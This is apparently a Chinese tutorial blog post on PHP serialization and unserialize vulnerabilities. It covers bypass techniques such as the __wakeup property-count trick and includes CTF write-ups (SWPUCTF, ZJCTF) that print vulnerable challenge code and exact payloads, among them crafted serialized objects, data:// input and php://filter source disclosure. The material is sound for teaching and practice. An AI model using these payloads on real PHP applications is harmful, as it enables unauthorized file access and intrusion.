php反序列化以及相关例题

目录

                                                                                                                                                                                                                                                                                                                        一、什么是序列化和反序列化?     

二、相关函数

serialize()函数:

unserialize()函数:反序列化     

三、PHP序列化格式

四、序列化与反序列化的作用

五、各种数据类型序列化后的效果

六、魔术方法

七、反序列化的一些绕过

八、相关例题

一、[SWPUCTF 2021 新生赛]ez_unserialize

二、[SWPUCTF 2021 新生赛]no_wakeup

三、[ZJCTF 2019]NiZhuanSiWei

   ​编辑                                                                                                                                          


                                                                                                                                                                                                                                                                                                                       

一、什么是序列化和反序列化?     

1.序列化就是将 对象object、字符串string、数组array、变量 转换成具有一定格式的字符串,方便保持稳定的格式在文件中传输,以便还原为原来的内容。  简单来说就是将内存变成文件,在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。

2.反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。

二、相关函数

serialize()函数:

(1)serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。例如:serialize ( mixed $value ) : string 

(2)“所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。”

<?php
class User
{
    public $age = 0;//在类内部定义了两个公共属性,$age 和 $name,并分别初始化为 0 和空字符串。
    public $name = '';

    public function PrintData()//定义了一个公共方法 PrintData
    {
        echo 'User '.$this->name.'is'.$this->age.'years old. <br />';//在这个方法中,使用 echo 输出了一条字符串,其中 $this->name 和 $this->age 分别表示对象的 name 和 age 属性。$this 是一个特殊的关键字,表示当前对象。
    }
}
//创建一个对象
$user = new User();
// 设置数据
$user->age = 20;
$user->name = 'daye';//分别为 $user 对象的 age 和 name 属性赋值。

//输出数据
$user->PrintData();
//输出序列化之后的数据
echo serialize($user);

?>

输出结果:

     

可以看到序列化一个对象后将会保存对象的所有变量,并且发现序列化后的结果都有一个字符,这些字符都是以下字母的缩写。

a - array                           b - boolean
d - double                         i - integer
o - common object           r - reference
s - string                          C - custom object
O - class                          N - null
R - pointer reference       U - unicode string

常用访问权限的修饰符:

  • public(公有):公有的类成员可以在任何地方被访问。
  • protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。如果变量前是protected,则是\x00*\x00类名的形式
  • private(私有):私有的类成员则只能被其定义所在的类访问。变量是private的所以序列号的时候会在两侧加入空字节,而且是private属性的变量都会在变量前面加上加上类名,则是\x00类名\x00的形式。

unserialize()函数:反序列化     

 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。在解序列化一个对象前,这个对象的类必须在解序列化之前定义。简单来理解起来就算将序列化过存储到文件中的数据,恢复到程序代码的变量表示形式的过程,恢复到变量序列化之前的结果。例如:
1 $s = file_get_contents(‘./目标文本文件’); //取得文本文件的内容(之前序列化过的字符串)
2 $变量 = unserialize($s); //将该文本内容,反序列化到指定的变量中

三、PHP序列化格式

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}

对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}

四、序列化与反序列化的作用

1、为了有效地存储或传递数据,同时不丢失其类型和结构,经常需要利用序列化和反序列化函数对数据进行处理。

2、反序列化函数返回字符串,此字符串包含了表示值的字节流,可以存储于任何地方

3、反序列化函数对单一的已序列化的变量进行操作,将其转换成员来的值

3、这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性

PHP语言中常用的序列化和反序列化函数有serialize、unserialize、json_encode、json_decode

五、各种数据类型序列化后的效果

参考资料:PHP序列化的概念_php 序列化-CSDN博客

 (1) NULL的序列化

 (2)Boolean型数据的序列化

 (3)Integer型数据的序列化

 (4)Double型数据的序列化

 (5)String型数据的序列化

 (6)数组的序列化

 (7)对象的序列化       

六、魔术方法

序列化的时候调用默认的方法: 

七、反序列化的一些绕过

1.protected和private绕过

绕过的方法:
①:php7.1+反序列化对类属性不敏感,将protected改成public
②:手动将序列化后的形式改为protected或者private的标准形式,结合urlencode和base64编码进行操作

2.__wakeup绕过(比较常见)

原理:
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup 的执行

示例:
O:4:"Dino":1:{s:1:"a";s:4:"misc";}改为O:4:"Dino":2:{s:1:"a";s:4:"misc";}

3.利用16进制绕过字符过滤

示例:序列化结果:O:4:"Dino":1:{s:3:"way";s:3:"web";}中含有字符web,但将s改成S后,O:4:"Dino":1:{S:3:"\\77ay";s:3:"web";}利用十六进制绕过了字符的过滤检测

八、相关例题

参考资料:PHP反序列化漏洞(最全面最详细有例题)_反序列化例题-CSDN博客

一、[SWPUCTF 2021 新生赛]ez_unserialize

1.查看源代码,发现disallow,disallow就是爬虫不能搜索的所以我们去看看robots.txt

2.访问robots.txt文件之后,发现php文件

3.访问这个php文件,很明显是php反序列化

php代码可翻译为:
 <?php

error_reporting(0);
show_source("cl45s.php");

class wllm{  //定义了一个名为 wllm 的类

    public $admin;
    public $passwd; //这个类有两个公共属性:$admin 和 $passwd。

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";  //在类的构造函数 __construct() 中,$admin 被初始化为 
                                     "user",而 $passwd 被初始化为 "123456"。
    }

        public function __destruct(){  //该类还有一个析构函数 __destruct(),当对象不再被引 
                                         用时,析构函数会被自动调用。
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;  //如果 $admin 的值为 "admin" 且 $passwd 的值为 "ctf",则包含并执行 
                           flag.php 文件,并输出 $flag 变量的值。
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";  //不满足上述条件,则输出 $admin、$passwd 的值,并输出 
                                        "Just a bit more!"。
        }
    }
}

$p = $_GET['p']; //这行代码从 URL 的 GET 参数中获取名为 'p' 的值,并将其存储在变量 $p 中。
unserialize($p);

?> 

4.根据代码构造payload:url+/?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

二、[SWPUCTF 2021 新生赛]no_wakeup

1.进入页面之后点三个?,发现php文件,很明显是php反序列化

2.接下来就是翻译php代码

php代码可翻译成:
 <?php

header("Content-type:text/html;charset=utf-8");//这行代码设置了 HTTP 响应头,指定内容类型为 HTML,并设置字符集为 UTF-8。
error_reporting(0);
show_source("class.php"); //这行代码会显示 class.php 文件的源代码

class HaHaHa{   //定义了一个名为 HaHaHa 的类,该类有两个公共属性 $admin 和 $passwd,以及三个魔术方法:__construct(), __wakeup(), 和 __destruct()。


        public $admin;
        public $passwd;

        public function __construct(){ //构造函数,当创建类的实例时自动调用
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){ //当对象被反序列化时自动调用。这里,它将 `$passwd` 的值 
                                      通过 SHA1 算法进行哈希。
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){ //当对象被销毁时自动调用
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up"; //这里,它检查 `$admin` 和 `$passwd` 的值。如果 
                                    `$admin` 是 "admin" 且 `$passwd` 是 "wllm",则包含并执 
                                    行 `flag.php` 文件,并输出 `$flag` 的值;否则,输出 
                                    `$passwd` 的值和 "No wake up"
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> 

3.根据php代码的翻译,可构造payload:url+/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

注意:这一题与上一题的区别就在于这题需要用到__wakeup绕过

三、[ZJCTF 2019]NiZhuanSiWei

1.进入页面,发现是php代码

代码翻译为:
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//代码检查 $text 是否被设置(即 URL 中是否包含 text 参数),并且检查 $text 指向的文件内容是否等于字符串 "welcome to the zjctf",如果上述条件满足,代码将再次读取 $text 指向的文件内容,并将其作为 HTML 标题 <h1> 显示在页面上
    if(preg_match("/flag/",$file)){ //使用正则表达式检查 $file 是否包含 "flag" 子串。如果包含,代码将输出 "Not now!" 并终止脚本执行。
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php  //如果 $file 不包含 "flag",代码将包含(即执行)该文件中定义的 PHP 代码。这里假设文件名是 "useless.php"
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

2.根据 file_get_contents($text,'r')这个函数把整个文件读入一个字符串中。
该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。我们不知道后台文件,所以这里我们运用data伪协议来进行绕过。

所以构造payload:url+/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

 3.根据正则表达式,发现它过滤了flag,用php://filter协议来读取useless.php,构造payload:url+/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

4.解码这个base编码,得到php反序列化的代码

5.根据代码,构造O:4:"Flag":1:{s:4:"file";s:8:"flag.php";},根据以上,可得到最后的payload:

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

                                                                                                                                             

6.  查看源代码,得到flag

                                                                                                                                                                                                                                                                                                                                        

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/587488.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

国家开放大学《TRIZ技术创新方法应用培训》形考任务和终考任务作业参考答案

答案&#xff1a;更多答案&#xff0c;请关注【电大搜题】微信公众号 答案&#xff1a;更多答案&#xff0c;请关注【电大搜题】微信公众号 答案&#xff1a;更多答案&#xff0c;请关注【电大搜题】微信公众号 参考答案包含 形考任务项目报告、终考任务 、单元测试、随…

【IDEA】IDEA自带Maven/JDK,不需要下载

IDEA是由Java编写的&#xff0c;为了保证其运行&#xff0c;内部是自带JDK的。IDEA 2021 及 之后的版本是自带Maven的&#xff1a; 视频连接&#xff1a; https://www.bilibili.com/video/BV1Cs4y1b7JC?p4&spm_id_frompageDriver&vd_source5534adbd427e3b01c725714cd…

LeetCode 105.从前序与中序遍历构造二叉树

题目描述 给定两个整数数组 preorder 和 inorder &#xff0c;其中 preorder 是二叉树的先序遍历&#xff0c; inorder 是同一棵树的中序遍历&#xff0c;请构造二叉树并返回其根节点。 示例 1: 输入: preorder [3,9,20,15,7], inorder [9,3,15,20,7] 输出: [3,9,20,null,nul…

【Oracle】python调取oracle数据教程

目录 &#xff08;1&#xff09;安装python和相关库 1.python的下载和安装 2.python安装cx_Oracle库和pandas库 3.本机安装instantclient 数据库客户端 先安装instantclient 然后设置环境变量 &#xff08;2&#xff09;准备好连接Oracle数据库地址等五项信息 &#xf…

C++的演变与未来:编程艺术的持续进化

在计算机编程的演变历程中&#xff0c;C以其独特的魅力和强大的功能&#xff0c;一直占据着不可或缺的地位。从最初的面向对象编程&#xff0c;到如今的跨平台、高性能应用&#xff0c;C在不断地适应和推动着计算机技术的发展。本文将深入剖析C的演变过程&#xff0c;展望其未来…

深入探索 C++ 中 string 的用法:从基础到实践

C String 用法详解 C中的 std::string 是一个非常强大且灵活的类&#xff0c;用于处理字符串。std::string 类是C标准库中的一部分&#xff0c;它提供了丰富的成员函数来执行各种字符串操作&#xff0c;如连接、比较、查找、替换等。在本篇博客中&#xff0c;我们将深入探索 s…

张大哥笔记:学什么都不如学赚钱

很多人总是这样认为&#xff1a;好好读书&#xff0c;考上好学校&#xff0c;将来可以找到一份不错的工作&#xff0c;这样的思想观念&#xff0c;可能会导致你一辈子都无法实现财富自由。 财富的多少&#xff0c;和你的努力程度没有直接关系。我们可以清楚看到那些每天辛苦劳动…

【Linux 系统】进程信号 -- 详解

⚪前言 注意&#xff1a;进程间通信中的信号量跟下面要讲的信号没有任何关系。 一、从不同角度理解信号 1、生活角度的信号 你在网上买了很多件商品&#xff0c;在等待不同商品快递的到来。但即便快递没有到来&#xff0c;你也知道快递来临时&#xff0c;你该怎么处理快递&a…

《MySQL对库的基本操作》

文章目录 一、查看数据库列表查看数据库中的所有表想知道当前处于哪个数据库里 二、创建一个数据库三、删除一个数据库知道两个集1.字符集2.校验集修改数据库的字符集和编码集 不同的校验码对数据库的影响四、数据库的备份与恢复注意事项&#xff1a;备份数据库中的表 总结 一、…

HTTP/1.1、HTTP/2、HTTP/3 的演变

HTTP/1.1、HTTP/2、HTTP/3 的演变 HTTP/1.1 相比 HTTP/1.0 提高了什么性能&#xff1f;HTTP/2 做了什么优化&#xff1f;HTTP/3 做了哪些优化&#xff1f; HTTP/1.1 相比 HTTP/1.0 提高了什么性能&#xff1f; HTTP/1.1 相比 HTTP/1.0 性能上的改进&#xff1a; 使用长连接的…

Python 在windows环境下加密文件成.pyd格式

首先 pip install easycython然后打开在要加密的文件同一目录下cmd命令框&#xff0c;命令行里键入 easycython 你要加密的文件.py 最后会在目录下看见有个.pyd的文件&#xff0c;只保留这个文件&#xff0c;剩下的都删了&#xff0c;其他引用该文件的python文件该咋用咋用。…

AI泳池溺水监测识别摄像机

AI泳池溺水监测识别摄像机是一种利用人工智能和机器视觉技术的创新设备&#xff0c;旨在确保游泳池安全&#xff0c;并及时识别溺水事件&#xff0c;以减少溺水事故的发生。这种摄像机利用高清摄像头和AI算法&#xff0c;能够实时监测泳池中的情况&#xff0c;并自动识别溺水事…

Redis---------实现短信登录业务

目录 基于Session的短信登录 ①首先看他的业务逻辑 ②进行代码逻辑处理 基于Redis的短信登录 ①首先看他的业务逻辑 ②进行代码逻辑处理 Controller&#xff1a; Service接口&#xff1a; Service实例&#xff1a; Mapper&#xff1a; 封装ThreadLocal线程的数据操作&#x…

Sublime Vim模式配置:q关闭当前标签页

在Sublime安装目录下的->Packages文件夹下新建User文件夹创建文件Vintage.sublime-commands 路径为Sublime安装目录->Packages->User->Vintage.sublime-commands文件内容如下[{"caption": ":w - Save","command": "save"}…

天地图路径规划功能实现

目录 1、天地图路径规划2、路径规划3、参数说明4、Demo 1、天地图路径规划 天地图Web服务API为用户提供HTTP/HTTPS接口&#xff0c;即开发者可以通过这些接口使用各类型的地理信息数据服务&#xff0c;可以基于此开发跨平台的地理信息应用。 Web服务API对所有用户开放。使用本…

【综述】多核处理器芯片

文章目录 前言 Infineon处理器 AURIX™系列 TC399XX-256F300S 典型应用 开发工具 参考资料 前言 见《【综述】DSP处理器芯片》 Infineon处理器 AURIX™系列&#xff0c;基于TriCore内核&#xff0c;用于汽车和工业领域。 XMC™系列&#xff0c;基于ARM Cortex-M内核&…

【LAMMPS学习】八、基础知识(5.3)Body particles体粒子

8. 基础知识 此部分描述了如何使用 LAMMPS 为用户和开发人员执行各种任务。术语表页面还列出了 MD 术语&#xff0c;以及相应 LAMMPS 手册页的链接。 LAMMPS 源代码分发的 examples 目录中包含的示例输入脚本以及示例脚本页面上突出显示的示例输入脚本还展示了如何设置和运行各…

python笔记:gensim进行LDA

理论部分&#xff1a;NLP 笔记&#xff1a;Latent Dirichlet Allocation &#xff08;介绍篇&#xff09;-CSDN博客 参考内容&#xff1a;DengYangyong/LDA_gensim: 用gensim训练LDA模型&#xff0c;进行新闻文本主题分析 (github.com) 1 导入库 import jieba,os,re from ge…

【C++】详解string类

目录 简介 框架 构造 全缺省构造函数 ​编辑 传对象构造函数 拷贝构造 析构函数 容量 size() capacity&#xff08;&#xff09; empty() clear() reserve() ​编辑 resize() 遍历 检引用符号"[ ]"的重载 迭代器 begin() end() rbegin() rend(…

Spring Data JPA数据批量插入、批量更新真的用对了吗

Spring Data JPA系列 1、SpringBoot集成JPA及基本使用 2、Spring Data JPA Criteria查询、部分字段查询 3、Spring Data JPA数据批量插入、批量更新真的用对了吗 前言 在前两篇文章已经介绍过&#xff0c;在使用Spring Data JPA时&#xff0c;DAO层的Respository通过继承J…